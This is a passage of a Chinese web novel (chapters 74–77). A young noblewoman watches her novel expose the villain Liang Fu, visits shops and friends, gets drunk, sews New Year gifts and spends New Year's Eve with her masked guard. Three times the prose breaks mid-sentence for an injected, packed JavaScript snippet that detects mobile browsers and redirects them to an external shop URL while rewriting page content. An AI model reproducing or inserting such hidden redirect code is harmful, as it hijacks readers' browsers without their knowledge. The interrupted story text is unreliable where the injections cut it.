夜色渐浓,蹄声哒哒,街道上灯影重重,车内一片静谧,她在脑海中转思起其他事情,梁党接连被清查处置,梁甫犹如断手断脚,他应该撑不了多长时间了。 自谢烜赫夜探大理寺后,他便派阁中暗卫在民间散布梁甫构陷昭王的消息,不知传播程度如何了。 她的《陈冤录》的新章也在文心书局售卖有几天了,不知反响怎样,她想她该出门去逛逛了。 74. 应照 隔天下午,黎书意便去了文心书局,门口竖起的木制招牌上,《陈冤录》新卷已开售的字样十分醒目。 抬眼往店里扫去,阔别两月有余,里面的情形与从前相差无几,书架前书客们或站或坐,桌案边几名十六七岁的少年正在奋笔疾书。 抬脚走进书局,她没有立刻去话本区,而是闲散地漫步于书架之间,冬日天寒,她懒怠活动,如今手边的闲书已经看完了,便打算挑两本新的。 将落下了两月的《集贤诗集》捞进怀中,她才往陈列着公案小说的书架走去。 走近了,扫见书架顶端挂着一副画,画上一共六人,左边三位英俊挺拔的将军,右边三位巾帼风姿的女子,分别对应了《陈冤录》里的六位主要角色,背景一半疆场,一半阁楼,整副画笔墨横姿,大气磅礴,看风格和用笔,像是苏先生的手笔。 到书架边,她碰见两个十四五岁席地而坐的少年,他们头挨着头同看一本书,神情十分专注。 突然,左边那人蹦出一句感慨道:“这严会之真可恶,行径简直和梁甫一模一样。” 闻言,黎书意忍不住笑了,怕搅了二位的雅兴,她并没有出声。 相似的人物,雷同的事件,看来巧借时机引发比对联想这招是奏效的,想到这里,她将目光放到面前的书架上,然后随手捞起了其中一本。 拿上书本,她转身往回转,走没几步,与苏先生迎面撞上。 “黎二姑娘!”苏先生面露惊喜地看着她。 她含笑问好:“见过苏先生。” “苏某听闻了二姑娘在客郡的遭遇,不知你近来可还安好?” “我很好。” 寒暄完,苏先生的视线落到她手里捏着的书本上,露出意犹未尽的表情,评价说:“这部分的内容相当精彩啊……” “是吗?”她明明最清楚内容不过,却故作好奇。 苏先生点头,旋即径自说起来:“近来,走进店里的客人十个里有八个都在看这书,看完还热烈讨论起来,什么子郡水患,什么乐天丹尽欢楼,什么牙郡兵器作坊,每一个案子都细细探究。” 说到这里,他的视线从她脸上划过,停顿片刻,继续往下道:“我听着听着,总觉得这故事过于熟悉了,竟然与现在正发生在梁甫身上的有七八分相似,我琢磨着恐怕不是巧合那么简单,该不会那严会之对应的人正是梁甫,而这写书之人恐怕便是受他迫害的人,她写此书的目的也是为了告诉世人自己所受的冤屈。” 闻言,黎书意心下吃了一惊,这简直把她写话本的动机剖析得一清二楚。 尽管如此,她面上却半分不显,客观评价道:“若真是某位受害人所书的也无不可,虽然方法剑走偏锋了些,但做的毕竟是惩奸除恶的好事,不是吗?” “也是。”苏先生赞同地点头,静默片刻后又道,“那她的目标马上就要实现了,期待能快点看到结局。” “我也很期待。” 说完这句话,两人没有再聊下去,苏先生向她施了一礼,然后去招呼客人了,黎书意则继续在别处闲逛,看还有没有感兴趣的书。 这时,身后的兰亭凑上前来,朝她耳语道:“二姑娘,苏先生是不是知道了什么呀?” 黎书意顿住脚步,回头望向那道走远了的背影,自上回的那番谈话她便猜到他是起疑了,这回应当是完全确定了她就是墨含,只是没有戳破罢了。 对此,她心里并不惊慌。从书局出来,她紧接着去了西陵轩。 刚进店逛了没一会,祖绣宣发现了她,忙笑迎过来道:“黎二姑娘好久没光顾了。” 她解释说:“我刚探亲回来。” “正巧,这边都是刚上的冬季新品,来看看?”祖绣萱说着手攀过来,将她往右边拉,到了角落,见四下无人了,方才撇下老板的作态,关切地注视着她道,“你这两月可还好?” “我并未受伤。”黎书意说,接着她抱歉地看向祖绣萱,“倒是他,为了护我受了很重的伤……” 祖绣宣并未责怪,反而道:“若非有你们相助,他怎可能如此顺利报仇。” 问候的话讲完,两人回归店家与顾客的关系,黎书意将注意力转移到衣服上,快过年了,为响应节日,铺中所陈设的衣裳、布料、鞋子、荷包无不色彩鲜艳,风格华丽。 为自己挑了两身衣服后,她的视线挪到了对面,只一眼便挑中了挂在高处的墨色大氅,大氅毛发亮泽,衣襟上用金线绣着精致的云水纹图案,似璀璨星河。 正看着,耳边飘来祖绣萱的打趣:“莫不是给我表弟买的?” 黎书意的确是这么想的,冬日天寒,谢烜赫也该有两身厚实暖和的冬衣,然明面上的身份使得他不能拥有这些,那便只能借由她的赏赐来得到了。 可听着祖绣宣这揶揄的语气,她心里感觉有些不自在,便没有回话。 兰亭跟在两人身后,刚才她还惊疑不定,此刻听了这话不禁目瞪口呆,天呐,又一惊天动地的消息,祖老板居然和昭王世子是表亲。 黎书意没有在店里多待,外出许久,她想去清芙阁好好看看,是以又挑了三只荷包以后,等东西打包好了,她便别了祖绣宣,往旁边店铺去了。 奈何人才刚走至门口,她硬生生地顿住了脚步,清芙阁的店面不大,内里视野开阔,所以她一眼就瞅见了坐在桌边的唐婉娇。 只见她梳着妇人发髻,穿一身桃红色儒裙,髻上佩金钗明珠,一派繁丽雍容,面前的案几上摆着一堆琳琅的盒子,舒凌寒在一侧含笑招呼着。 正看着,见她拿起铜镜,双眉轻锁,右手摸着脸颊,发愁地说:“最近皮肤状态不好,有没有什么能遮住这些纹路?” “有,这款铅粉粉质细腻贴肤,而且里面掺入了香料,不仅美白,还带有独特的香气。”舒凌寒打开一个盒子,自如地介绍起来。 这情景令门口的黎书意犯难了,这铺子背后的主人是她,然而唐婉娇却是不知道的,眼前这状况她进去显然不合适,可是她又想了解铺子这两月的经营情况。 纠结之际,唐婉娇抬眸时发现了她,身形一顿,然后瞅着她懒洋洋道:“来都来了,便进来吧。” 虽说她们碰了面基本没什么好聊的,但是既然人家都已经这么说了,自己也犯不着驳她面子,这么想着,黎书意便抬脚跨入门槛进去了。 走到堂中,她在唐婉娇旁边坐下,一杯热茶紧跟着送了过来,舒凌寒和店内的伙计都默契地只当她是寻常客人,并未表现得过分殷勤。 “你没事吧,回来好几天了,也不见出府?”唐婉娇放下手中铜镜,明眸扫了过来。 “没事。” “没事就好,那梁祖庭从前看上去颇属意于你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545733|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没想到居然能下如此狠手。” 属意于她,黎书意在心底嗤笑,左右不过是“权衡利弊”四个字罢了。 唐婉娇指了指桌上的东西,对舒凌寒道:“将这些都包起来吧。” “是。”舒凌寒应道,旋即便开始亲自动手打包。 等候期间,唐婉娇又回头看向黎书意,问说:“对了,听闻是太子殿下救的你,回来时你们也一起……” “嗯?”黎书意闻言抬眸,等待着她后面的话。 唐婉娇却是突然停住不说了,过了一会又道:“算了,后宅的争斗你是受不了的。” 没头没尾的两句话,黎书意还是听出了她的意思,她是想问自己与太子的关系,想了想,还是开口解释道:“谢谢,我们之间没什么。” 唐婉娇未再多言,此时舒凌寒已经将胭脂水粉装好了,等身后的侍女接过妆盒,她便转身领着人走了。 “二姑娘,”待人出了清芙阁,兰亭皱着眉疑惑道,“她今天是怎么了?” “不知……”黎书意望着那道背影轻轻摇头,接着从座位上起身,与舒凌寒一道转去里间了。 一进去,舒凌寒便关切地问起她在客郡的遭遇,她简单叙述了一番,然后两人就近两月的经营情况交流起来。 待谈完了,时候已经不早,离开店铺后,她并未上马车回家,而是朝鹤阳阁去了。 暮色四合,华灯初上,眼下正是鹤阳阁开始热闹的时候,一踏入楼阁,悠扬的丝竹声,和客人的谈笑声便传入耳中。 台上,说书人柳老先生立在黄花梨木书案前,他手持一柄绘有山河图的绢扇,口中正绘声绘色地讲故事。 “……结束暗探,姚写意和辛君赫从尽欢楼安全出来,回到姚宅,两人立即和姚荐辕、姚远卓交流情况,告知楼中所见所闻。” “各种各样的赌博游戏,少年与凶兽搏斗的凶残场面,年轻好看的奴隶被迫成为贵客们取乐消遣的工具,整个楼里有七八百名奴隶,他们分别负责服侍和照管赌场、斗兽场、客栈等地,姚家父子闻之又惊又怒,决定誓要铲除严会之这个衣冠禽兽……” 黎书意从堂侧穿过,拾阶而上的途中,边上客人的谈话落入她耳中。 “前几天南箕山不是被推到了吗,我家收留了从那里放出来的奴隶,据他们所说,那里面的生活就是这样的。” “听你们这么一说,我怎么觉得这书里的严会之与梁甫很像啊……”紧接着,为了证明自己的观点,他抛出依据道,“你看,最近朝廷不是正在彻查他嘛,查出年中社郡那个贪污的豪强李振益,他背后之人正是梁甫,那账目上出入的银钱原来都输送给梁甫用来豢养私兵了,这与书中描绘的子郡水患那一案有六七成相似,还有这忘忧楼和那尽欢楼是不是差不多?” 另外两人闻言皆是一愣,他们不约而同地倒吸一口冷气。 黎书意见状笑了,心道说书果然比阅书要发现得更快,毕竟可以边听边讨论,大家集思广益,总能得出些什么。 她继续向上走,到雅间坐下了,她问奉茶的小二:“不知阮姑娘可在?” 小二回说:“阮姑娘刚下台没多久,现在应该在妆室里。” 听闻她在,黎书意便拜托道:“麻烦你帮我告诉她一声,就说是有位黎姑娘找她。” “好的。”小二点头去了。 75. 酒醉 候了盏茶的功夫,雅间的门被推开了,知道应是阮玎瑶到了,黎书意抬眼看过去。 阮玎瑶今日穿了一件藕荷色襦裙,清新粉嫩,两月未见,她的气色越发好了,在她身后,是一身紫衣的赵清商。 看见赵清商,黎书意当即就明白了,估计是阮玎瑶已经同她透露了什么,对此,黎书意并未放在心上,因为知道不会造成任何威胁。 “二位姐姐快请坐。”她出声邀请,接着主动拎起茶壶替两位倒茶,然后在一人面前搁上一杯。 “听闻黎二姑娘在客郡遭遇梁祖庭上府行刺,不知可有受伤?”一坐下,阮玎瑶便问道。 今天已经是第四回被问这个问题了,黎书意给出了和先前同样的回答:“无事。” 正说着,雅间的门被敲响了,小二站在门外说:“姑娘,您点的菜到了。” “抬进来吧。” 小二应声而入,熟练地将一盘盘色香味俱佳的菜肴摆放在桌上,留下句“客官,您的菜齐了,请慢用”,便转身离开了。 待门合上之后,黎书意的视线依次扫过面前的二女,最后她打开天窗说亮话:“其实我今日过来主要是为了向阮姑娘道谢的,若没有你冒险向我透露消息,事情不可能如此顺利。” “黎二姑娘哪的话,我受之有愧。”阮玎瑶谦虚地说。 在黎书意把话摆到明面上说以后,房间里的气氛轻松了许多。 “唉,听闻最近朝局十分不太平。”一直未出声的赵清商感慨一句,接着她将酒杯往前一举,看了看左右的人道,“真希望他早日伏诛!” “不会太久的。”黎书意说着抬起酒杯。 阮玎瑶也抬起酒杯与她们的相撞。 在“叮”的脆响声中,三人相视而笑。 气氛越发和谐了,在这个小小雅间里,她们边吃边聊,议时事议未来,相谈甚欢。 因为心中畅快,黎书意不由多饮了几杯,只是她酒量一般,散场时感觉头重脚轻的。 阮玎瑶、赵清商站在楼外相送,她道了别,然后在兰亭的搀扶下登上了马车。 车内十分暖和,马车徐徐行进着,黎书意感觉像是置身于摇篮一样舒适,于是昏昏沉沉睡了过去。 不知过了多久,一双手轻轻将她摇醒,睁开眼睛,见兰亭唤她:“二姑娘,晚间天寒,在马车里待着容易着凉,婢子扶您回房休息。” “好。”她无力地点头。 一踏下马车,裹挟着冷意的夜风侵袭全身,她不由清醒了几分,只是脚步不很沉稳,花了比平时多一倍的时间,她终于走到了自己的载驰院。 院内,在正房门口等了许久,谢烜赫终于望见月洞门徐徐走来的身影,他抬步迎上前去。 今早他便出门了,去印刷铺里分配部署。升卿那边战争如火如荼,他安排阁中暗卫分别在梁甫和庞安澈的大军中卧底,方便摸清两方的动向,也好在必要时施予援手。 而孟章这边,有些事同样也该准备起来了,他让阁中暗卫在坊间散布《陈冤录》中严会之与梁甫之间有着惊人相似性的言论,再借机引出明王与昭王的遭遇对照。 忙完之后已经傍晚,回来见黎书意还未归家,想着她应是离家许久,出门逛街忘了时辰,于是便在院里等着,未曾想一等竟等到了天黑。 待人走近了,发现少女低垂着头,体态慵懒,便问兰亭:“她这是去哪了,怎么这么晚才回来,还喝醉了?” 兰亭答话:“二姑娘晚间去鹤阳阁了,与阮姑娘和赵姑娘同席聊天时多饮了几杯。” “快扶她进去吧。”谢烜赫未再多问,转身往回走,到门口他侧过身将房门给打开了。 兰亭小心地搀着人跨过门槛,然后将人好生安置在坐榻上。 谢烜赫跟在身后,看着柔弱无骨斜倚在榻上的人,他眉头一皱,这醉得可不轻,担心她明早起来头疼,便转头对兰亭道:“你让厨房送一碗醒酒汤过来。” 兰亭闻言回过神来,立刻领命离开。 见人走了,谢烜赫上前两步,垂下眼肆无忌惮地欣赏着少女的醉态。 只见少女趴在小案上,几缕散乱的碎发贴在如玉的面颊上,琼鼻微微吐息,唇若红莲,娇艳欲滴,朦胧惺忪的模样令人移不开眼。 正定定望着,少女忽然直起身子来,闭着眼轻唤道:“兰亭,我口渴。” 像是几天没喝水似的,黎书意只觉得口干舌燥,唤了一声见没人应答,正准备再唤,这时一杯水递到了嘴边,她没有抬手去接,而是直接张开了嘴,一口一口喝起来。 等解了渴,她终于睁开眼,这一仰头,才发现面前的人不是兰亭而是谢烜赫,于是奇怪地问道:“怎么是你?” “她去厨房吩咐煮醒酒汤了。” 醒酒汤,黎书意闻言点点头,是得喝,她现在就感觉太阳穴突突直跳。 看着眼前的人,她忽然想起一事,便欢声道:“对了,我今天去西陵轩逛了逛,给你买了一套新衣和一件大氅,你快穿上试一试。” 说着,她站起身来,结果游目四顾,并没在房里瞧见装着衣服的箱子,便皱着眉疑惑道:“怎么没在?” 她想寻找,然而脚下失力,一个趔趄朝前倒去,最后撞在一堵软墙上,虽然是软的,但仍撞疼了头,她仰头看着头顶的人。 少女黑眸波光潋滟,睫毛浓密如鸦羽,眼睛一下一下眨着,像是在谢烜赫心上挠痒,扶着她的双肩,他拉开两人的距离,“不急,明天再拿也不迟。” 黎书意刚进院的时候,谢烜赫便看见跟在身后的小厮搬了许多东西进屋,只是没想到当中还有给他的。 “你穿一定很好看。”少女说。 他闻言笑了,柔声问:“最近怎么总给我买礼物?” “自然是觉得适合你就买了。”想也没想,黎书意脱口而出。 这边厢,小厨房里终于将醒酒汤给煮好了,兰亭急忙端着托盘回屋。 刚走到门口,便瞧见了屋里依偎在一起的少男少女,尽管画面非常养眼,可她心里却是有几分不满的。 虽说她如今不抗拒世子亲近她家二姑娘,但是二姑娘到底还是一个黄花大闺女呢,他们怎可以如此不设男女大防,尤其二姑娘是醉着的。 这么想着,她快步走上前去,将托盘搁在案上,主动道:“世子,让婢子来喂二姑娘喝醒酒汤吧。” 一听这话,谢烜赫便明白兰亭这是在赶自己呢,他也不恼,护主是好事。 点了一下头,他撑着黎书意的两肩,好让兰亭过来搀人。 兰亭见状急忙上前,走到二人中间,她揽过二姑娘,让人靠在自己怀里,然后唤道:“二姑娘,喝醒酒汤。” “嗯……”听见声音,黎书意懵懂地应着,瞧见递到嘴边的勺子,她自觉张开了嘴,迷迷糊糊喝完,彻底睡过去了。 次日一早,黎书意醒来时只觉得头疼欲裂,仿佛有人拿着铁锤在她脑袋两侧敲,艰难地睁开眼睛,她盯着帐顶发呆,待意识清明了,这才想起来自己昨晚喝多的事。 忽地,脑海里闪过她跌进谢烜赫怀里的片段,不止如此,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545734|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎还口无遮拦地说了“你穿一定很好看”和“自然是觉得适合你就买了”这样的话。 一缕羞臊透上心来,她两颊顿时如火烧一样热,手忙捂上脸,懊悔自己居然在谢烜赫面前出丑了。 面上的始终热度不消,她以手为扇在两边挥呀挥,正挥着,门“吱呀”一声打开了。 兰亭抬着脸盆推开房门,走到里间瞧见二姑娘坐在床边不知想什么,诧异道:“二姑娘,您已经醒了?” 不想让人发现自己的异常,黎书意急忙起身,她轻甩着头,努力将那些羞耻的画面从脑海里驱逐出去,经过梳洗、换衣,心思终于恢复平静。 直到再见到谢烜赫为止。 她拿出一早想好的对策,装作完全不记得昨晚自己都做了什么蠢事,兀自吃早膳,然而早膳用完,她又空闲下来了。 现下,她是没办法坦然自若地和谢烜赫共处一室的,她得让自己忙起来,在脑中搜刮老半天,终于有了主意,最后便吩咐兰亭道:“去把府中的账册拿来。” 岁末已至,也是时候该做年终盘点了,左边算盘,右边账册,她认真地看起账目,核对家中资产与收支情况。 算着算着,她完全沉浸其中,酒后失格的事便被抛之脑后了,等核算完两本账册,一天就这么悄悄过去。 既然已经开了这个头,次日她继续盘点,花了两天时间,才终于核对完。 刚准备脱开手休息,天元姑姑从庄子赶来,紧接着各大铺子里的诸位掌柜们也相继上府拜访,于是乎她又开始看田庄和铺子的帐目,顺便交流了下来年的计划。 待事情彻底忙完,发现距离新年只剩下不足半月,作为一年里最重要的节日,年节要准备的东西自然比其他节日要丰富许多。 只是如今家中人员不齐全,吃食和家装上就没必要太过精细讲究,她有些懒怠花心思,便让富春姑姑看着办就好。 然而,节礼却是不能随便的,一番斟酌后,她决定每份节礼里备好上等茶叶、屠苏酒和年帖。 定下节礼规格之后,她紧跟着开始写年帖,三四十份年帖虽然不多,但也需要花上一个下午。 写到一半,二门报说林大姑娘来了,她只好搁下笔。 不多会,林静仪来至书房,走到案前,看见案上的字帖,便问:“是在准备年节的节礼吗?” 黎书意点头。 林静仪笑道:“你现在越来越有当家主母的风范了。” “情况所迫。”她无奈耸肩。 “对了,我今天来是有事找你。” “何事?” “我母亲说你一人在家过年未免太孤单了,让你上我们家去。” 上林府过年?长这么大,她还从未在外面过过年,突然被问,有些拿不定主意。 “如何?”林静仪眼含期待地看她。 扫了一眼谢烜赫,黎书意决定谢过姜伯母的一番好意,她若去林府,他可怎么办。 “替我谢过伯母,虽然父兄不在家,但是府中不能没人照看。” 因注意力一直在婠婠身上,所以林静仪没有错过她偷瞟时侍卫的那一眼,两人从小相识,林静仪看得出婠婠对这个侍卫显然不一般。 作为艳惊孟章的才女,这个小她一岁的妹妹倾慕者众多,他们皆出身勋贵,可如今最优秀的两位,一位为了利益另择他人,一位为了利益对她痛下杀手。 林静仪忽然觉得,找这么一个一心一意的人也挺好,况且时侍卫看起来武艺高强,今后定能建功立业,是以她没有再劝说。 76. 除夕 采买年节物品的事由富春姑姑一手督办,黎书意不需要操心,她目前需要考虑的是送父兄什么年礼,且两人的生辰恰在一月初,相差不过五日,看情形今岁是不能当面给他们庆生了。 思来想去,她决定送自己亲手缝制的腰带,人人都道她琴棋书画样样精通,但实际上她的女红比较一般,只能说还看得过眼去,不过她想父兄是不会介意的。 给谢烜赫的节礼她也打算送一样的,若他敢看不上,那她以后便再也不送了。 打定主意,她立马行动起来,开了府库的门进去挑锦缎,站在布匹前挑拣许久,她终于挑出三匹暗纹提花锦缎,月魄色福寿纹的给父亲,象牙色祥云纹的给兄长,墨黑色忍冬纹的给谢烜赫。 时间紧促,满绣是来不及了,她只能退而求其次,仅在腰带里侧用金银线绣句祝福语,最终确定为父亲“福寿安康”,兄长“万事如意”,谢烜赫“万象更新”。 她先从父兄的开始做起,为了能赶在年节前送到,她必须快些完成。这之后,她每日每夜都在为此而忙碌,或许是因为思念的关系,过程并不枯燥。 两条腰带缝制完,她拿在手上欣赏了一下,然后让兰亭拿来从西陵轩购置的荷包。 将腰带折好,她把它们分别放进荷包里,接着又往给父亲的那枚里放上福禄双全佩,兄长的那枚里放上玉竹节报平安佩。 最后,她抽开抽屉拿出梅花洒金笺纸,给他们写新年祝福和生辰祝福,写得比之前人情往来用的要认真了不知多少倍。 将东西备齐,她把它们交给谢烜赫,让他帮忙送往麒越,希望父兄能在年节前收到。 看着抱着匣子远去的谢烜赫,黎书意转身回了自己房间,她拉起剩下的那匹墨色布料,动手裁剪。 没有了时间限制,她不必日夜穿针引线,不过,为了不提前暴露了心意,她还需得背着它未来的主人。 好在最近谢烜赫经常出门,并未时刻随侍在她身边,这让她有足够的时间缝补刺绣,这条腰带在新年前一夜终于完成。 做好以后,她拿在手上欣赏,发现竟然比送给父兄的要精细多了,“真是便宜他了。” 和先前的一样,腰带被装进荷包里,与之相搭配的是一枚玉蝉蜕变佩,写年帖的时候她细细斟酌了一番,最后只写了“如愿以偿”四个字。 …… 除夕这日,天刚破晓黎书意便起身了,今天她有许多事要做,这头一件便是她得进宫去。 按照规矩,京中五品以上官员今天需得进宫面圣,上表称贺,而皇帝则会赏赐群臣,以示皇恩浩荡。 由于父亲尚在麒越,面圣显然是不可能的了,赏赐若无人亲自去领取,最终会直接送到府上,虽说放任不管也不是不行,但是为了不落人口实,她决定自己走一遭。 身份使然,她不便面圣,不过却是可以面见皇后的,尽管内心排斥,但她不得不做。 洗漱毕,从柜子里挑了一身粉橙色襦裙换上,她走到铜镜前自我审视,确认模样既不艳丽出挑,也不过分素净,这才满意地转身离开。 门打开,寒气顿时扑面而来,昨夜下了一夜的雨,此时雨虽然停了,屋檐上还断断续续有水滴落下,外头潮湿一片。 出了门,她转进了书房,然后径直朝靠内侧的书架走去,那边角落里摆着一个箱子,里面装着她前些年练字时保存的书稿,其中一半是诗词,另一半是佛经,之所以会抄佛经,是为了给常年出征的父亲祈福。 将箱子打开,她从中挑出一卷用簪花小楷写的佛经,打算用做给皇后的见面礼,到了国母这位置上,金银珠宝见得多了,寻常俗物入不了她的眼,况且送的人还是不被喜欢的自己,因此只能靠心意博些好感了。 把佛经另外装进一个金丝楠木方盒子中,她让兰亭抱着盒子,然后主仆二人踏上潮湿的地面,朝府外走去。 考虑到领赏时需要搬东西,还需要带上一名侍卫,因是进宫,她没带谢烜赫,而是带了毕定边。 天空灰蒙蒙的,石板路上水迹斑驳,长道两旁,各户人家门上的红灯笼在风中轻曳,街上人头攒动,这个提着刚买的年货,那个与亲友谈笑,一群孩童正在玩乐打闹,所有人脸上都洋溢着过节的喜悦。 到宫门口,黎书意从马车上下来,然后由宫人引着进了永安宫。 刚走至偏殿,听见门内隐约传来女人的谈笑声:“太子殿下英明神武,那丫头能嫁给他是她几世修来的福气,她定当尽心尽力侍奉太子殿下,不敢有丝毫懈怠。” 宫人在门前顿步,侧过身对黎书意道:“请黎二姑娘先在这里候一会,咱家这就进去通报。” “有劳公公了。”她微一点头。 身后兰亭适时递上事先预备好打点的金锞子,然后主仆二人便站在廊下等候。 少顷,门打开了,说话声清晰地传入耳中:“我那不成器的儿子,与太子殿下相比,实在是天壤之别,他应当多向太子殿下学习,也好为朝廷效力。” 皇后与一贵妇人走出来,这贵妇人黎书意也识得,是庞安澈的续弦夫人,许氏。 两人寒暄时看到了黎书意,她立即福身分别向二人行礼:“见过皇后娘娘,见过许夫人。” 许夫人点头以示回应,旋即便告辞离开了。 “快些进来吧。”皇后将视线从许夫人转到黎书意身上。 “是。”黎书意说着跨步进殿。 殿内装饰华丽,色彩瑰艳,待走到房屋中央,等皇后坐下以后,她从兰亭手上接过金丝楠木盒子,然后自报来意道:“今日除夕,父兄在外征战,无法亲自上表称贺,臣女特来拜见皇后娘娘,准备了手抄的佛经,愿娘娘身心同康,福寿双全。” 说话间,皇后的贴身侍仆王嬷嬷从她手上接过盒子,打开来放到皇后跟前。 皇后拿起最上卷的书册翻看了两页,露出满意的笑容,抬头对她道:“你有心了,快些坐下吧。” 礼物最终被王嬷嬷拿走收好,黎书意也在客座上坐下,一名宫女将新沏好的热茶放到桌上。 她正在心头思量着该说点什么,见皇后将她上下一打量,先开了口:“似乎瘦了些,气色倒还算不错。” “劳娘娘挂心。” “唉……你这次虽遇上了飞来横祸,但也算是因祸得福,若是一直未曾发觉梁甫在私自铸造兵器,不知道未来朝廷、百姓要遭多大的难。” 来之前她便料到绕不过提这事,因此应对得还算自如,于是顺话道:“娘娘说的是,臣女也一直为此庆幸,现在只希望朝廷能快些平叛。” 在厅里坐了小半个时辰,在外头报说有访客来访之时,她借故脱身了。 离开永安宫后,她长舒一口气,今日这次面见,皇后待她态度意外的好,原因其实很好猜,毕竟她间接帮他们母子除了一个大麻烦。 对谢煜然而言,经过剿灭梁党,他在朝中更有声望了,对皇后而言,经过剿灭梁党,容妃彻底失势了,两人的地位越发稳固,自然对她笑脸相待。 从宫里出来,她去了户部衙署。 到了门口,她让兰亭把荷包拿给毕定边,虽说是来这领恩赏的,但是少不了要上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545735|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下打点一番。 毕定边从小在将军府长大,常年在外走动,交际熟稔,与户部的小吏略微寒暄了几句,最后成功将年礼搬到了车上。 恩赏是依据官爵而定的,大将军的身份在这,赏赐自然是极高的,一共是一箱黄金和百皮绸缎。 此行的目的已经达到,黎书意不再多逗留,上马车启程回去了。 等回到家,见处处张灯结彩,这边在贴窗花,那边在摆花卉,大家忙得不亦乐乎。 午后,天上开始飘雪,雪沫洋洋洒洒飘落而下,似飞舞的芦花。 她到各处转了转,查看进度,等事情忙得差不多了,她折回载驰院,然后唤兰亭来替她梳装。 新年新气象,通常在这一天她都盛装以待,今岁又逢家人不在,她不想表现得太孤独,打扮的心思就更甚了。 兰亭拿过前不久在西陵轩购置的衣裳,问道:“二姑娘想穿哪一身?” “这件。”她指了指右边那件红金配色,衣上绣有梅兰的。 衣服略显繁冗,兰亭一件一件伺候着她穿好,穿好了衣服,兰亭继续为她梳发,先绾了一个凌虚髻,然后在首饰盒里挑选了几件与衣服相称的配饰,佩戴在她头发、耳朵和颈间。 等她穿戴完了,已经晡时,她走出房间,然后往祠堂而去。 正厅门外,红灯笼随风轻晃,踏入厅堂,内里火烛摇曳,烟气缭绕,空气中弥漫着淡淡的檀香味。 神龛里牌位排布齐整,香案上摆满了各色供品,黎书意走上前去,对着祖先牌位行礼献香,同时在胸中默念着祈福的话语。 叩拜完了,她转去偏厅,等待着用年夜饭。厅中设一张檀木大圆桌,桌上摆放着水果、点心和茶酒,并以各色鲜花装点,看起来丰盛、庄重,且美观。 往常在这个辰点,人早坐了个七七八八,现在却是一个人都没有,她觉得空荡荡的,就像此刻的她,外表光鲜靓丽,内心失落孤独。 最终,她没有急着坐下,而是回身走到门外,站在廊下。 雪已经下了好几个时辰,此时树梢、花坛和地面上都堆积起一层薄雪,看着灰白一片的苍穹,以及纷落的鹅毛大雪,对亲人的思念之情不受控制地涌了心头。 伤感之际,闻一阵脚步声徐徐靠近,转过头,见来的是谢烜赫。 他身穿黑色织金锦袍,大氅随步态轻曳,脸上银面泛着凛冽光泽,只露出轻抿的薄唇和分明的下巴线条,周身散发着冷峻气息,身后的皎皎雪色将他衬得愈发气度逼人,清冷出尘。 一想到这一身是自己送的,黎书意便成就感满满,若是脱下了面具,该是何等惊人之姿。 在黎书意看谢烜赫时,谢烜赫也在看她。 少女面白唇红,体长纤巧,鬓上钗簪飞舞,身上穿着绣金纹红衣,外面罩一件白色斗篷,如同傲雪凌霜的寒梅,艳丽逼人。 走近了,谢烜赫发现她眼眶微红,那黑白分明的大眼睛里蓄着粼粼水光,刚才她似乎正仰头望着天空发呆,是想她的父兄了吗? 明明才十六岁的女孩,却不得不独自支撑着偌大的宅院,尽管做得无可挑剔,也确实难为她了。 谢烜赫心底生出无限疼惜,他选择蛰伏于将军府,一是为了方便行事,二是为了陪伴照顾她,他不想看到她难过,想了想,便道:“进去吧,外边冷,冻坏了你兄长回来时该找我麻烦了。” 黎书意有些惊诧,这人居然还会同自己开玩笑,知道他应是看出自己的心事了,便回敬道:“那不正好。” 嘴上虽这么说,人到底听话折回屋中。 77. 共守 厅内安静,候菜的过程有些无聊,黎书意便嗑着瓜子打发时间,等菜摆到一半时,面前的瓜子壳已经攒起一坐小山了。 看着八宝联春碗碟里的牛羊猪肉和鱼虾海鲜,她转身对兰亭说:“你去把富春姑姑、毕定边和舒凌寒叫来,就说我有事吩咐。” 不多会,在十三道菜全部摆上桌后,人也全部到齐了,大家站作一排,等候她的差遣。 事实上,她并无要事,目光从他们脸上一一扫过,她平静说道:“你们坐下和我一起吃吧。” 说罢,见众人面面相觑,大家你望望我,我望望你,愣是一个也没动。 “二姑娘,主仆有别,这不合规矩。”富春姑姑率先开口婉拒。 “是啊。”兰亭出言附和,“况且这还是除夕家宴。” 就知道没那么好说通,黎书意轻叹口气,只能给出解释道:“今岁就我一人在家,这么大一张食案,这么多菜,对着空气我岂能有胃口用饭?” 几人听后脸上虽有动容,但始终犹豫不前。 见状,黎书意抬眼瞅着谢烜赫,然后指着自己旁边的座位,用命令的口吻道:“你,过来这坐。” 